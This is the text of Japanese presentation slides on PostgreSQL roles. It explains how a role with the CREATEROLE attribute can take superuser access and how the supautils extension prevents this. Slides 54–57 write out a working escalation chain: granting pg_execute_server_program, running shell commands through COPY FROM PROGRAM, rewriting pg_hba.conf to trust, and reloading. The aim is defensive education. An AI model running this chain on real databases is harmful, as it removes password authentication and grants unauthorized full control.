  • 53. © 2022 NTT DATA Corporation 53 CREATEROLE権限は危険 • PostgreSQLドキュメントに以下の記述がある • CREATEROLE権限を持つロールは、ほとんどスーパーユーザ権限を持つロールと同じ であるものと考えてください • https://www.postgresql.jp/document/13/html/sql-createrole.html PostgreSQL すべての操作が 可能 ① OSコマンド 実行権限 の付与 ② OSコマンドを駆使 してスーパーユーザ としてログイン CREATEROLE権限 スーパーユーザ権限
  • 54. © 2022 NTT DATA Corporation 54 ① OSコマンド実行権限の付与 => SELECT CURRENT_USER; current_user -------------- role1 (1 row) => du role1 List of roles Role name | Attributes | Member of -----------+-------------+----------- role1 | Create role | {} => CREATE ROLE role2 LOGIN IN ROLE pg_execute_server_program; CREATE ROLE => du role2 List of roles Role name | Attributes | Member of -----------+------------+----------------------------- role2 | | {pg_execute_server_program} CREATEROLE権限をもつ role1でログイン pg_execute_server_ programを付与
  • 55. © 2022 NTT DATA Corporation 55 ② OSコマンドを駆使してスーパーユーザとしてログイン(1/3) => CREATE TABLE outputs (cmd_output TEXT); CREATE TABLE => COPY outputs FROM PROGRAM 'cat pg_hba.conf'; COPY 97 => SELECT cmd_output FROM outputs WHERE cmd_output NOT LIKE '#%'; cmd_output ------------------------------------------------------------------------- - /home/shinya/pgsql/14/data local all all trust host all all all scram-sha-256 host all all ::1/128 scram-sha-256 local replication all trust host replication all 127.0.0.1/32 trust host replication all ::1/128 trust プログラムの実行結果を 保存するテーブルを作成 pg_hba.confの中身を outputsテーブルに保存 TCP/IPで接続時は パスワード認証をしている
  • 56. © 2022 NTT DATA Corporation 56 ② OSコマンドを駆使してスーパーユーザとしてログイン(2/3) => COPY outputs FROM PROGRAM 'sed -i -e "s/scram-sha-256/trust/" pg_hba.conf'; COPY 0 => TRUNCATE outputs; TRUNCATE TABLE => COPY outputs FROM PROGRAM 'cat pg_hba.conf'; COPY 97 => SELECT cmd_output FROM outputs WHERE cmd_output NOT LIKE '#%'; cmd_output ----------------------------------------------------------------- local all all trust host all all all trust host all all ::1/128 trust local replication all trust host replication all 127.0.0.1/32 trust host replication all ::1/128 trust scram-sha-256をtrustに置換
  • 57. © 2022 NTT DATA Corporation 57 ② OSコマンドを駆使してスーパーユーザとしてログイン(3/3) => c - postgres Password for user postgres: FATAL: password authentication failed for user “postgres" Previous connection kept => COPY outputs FROM PROGRAM '../bin/pg_ctl reload -D ../data'; COPY 1 => c - postgres You are now connected to database "postgres" as user "postgres". =# PostgreSQLをリロード パスワード認証なしで スーパーユーザでログインできる
  • 58. © 2022 NTT DATA Corporation 58 CREATE権限強すぎ問題への対処法(1/3) • PostgreSQLの拡張機能supautilsを使用する • https://github.com/supabase/supautils • 機能 • パラメータsupautils.reserved_rolesに指定されたロールに対して、 ロールの削除、属性の変更、ロール名の変更、メンバ資格のGRANT/REVOKEを禁止 • パラメータsupautils.reserved_membershipsに指定されたロールのGRANTを禁止
  • 59. © 2022 NTT DATA Corporation 59 CREATE権限強すぎ問題への対処法(2/3) • コンパイル、インストール • postgresql.confの設定 $ git clone https://github.com/supabase/supautils.git $ cd supautils $ make PG_CONFIG=/opt/pgsql-X.Y.Z/bin/pg_config $ su # make PG_CONFIG=/opt/pgsql-X.Y.Z/bin/pg_config install # exit shared_preload_libraries='supautils' supautils.reserved_roles='' supautils.reserved_memberships='pg_execute_server_program'
  • 60. © 2022 NTT DATA Corporation 60 CREATE権限強すぎ問題への対処法(3/3) • 使用例 => SELECT CURRENT_USER; current_user -------------- role1 (1 row) => du role1 List of roles Role name | Attributes | Member of -----------+-------------+----------- role1 | Create role | {} => CREATE ROLE role2 IN ROLE pg_execute_server_program; ERROR: "pg_execute_server_program" role memberships are reserved, only superusers can grant them CREATEROLE権限をもつ role1でログイン pg_execute_server_ programを付与できない
  • 61. © 2022 NTT DATA Corporation 61 目次 1. ロールとは? – ロールの概要 – ロールの属性 – 権限 – 定義済みロール 2. ロール管理の注意点とその対処法 – PUBLICロール – CREATEROLE権限強すぎ問題 3. まとめ
  • 62. © 2022 NTT DATA Corporation 62 まとめ • ロールとは、インスタンスに対するアクセス権限の集まり • ロールは、属性と権限を持ち、それらによってDBへのアクセスを管理する • あるロールを別のロールに付与することで権限を継承できる • 全てのロールはデフォルトでPUBLICロールのメンバ資格を保持しているので注意が必要 • CREATEROLE権限を持つロールはスーパーユーザ権限を奪取できるため注意が必要
  • 63. © 2022 NTT DATA Corporation その他、記載されている会社名、商品名、又はサービス名は、 各社の登録商標又は商標です。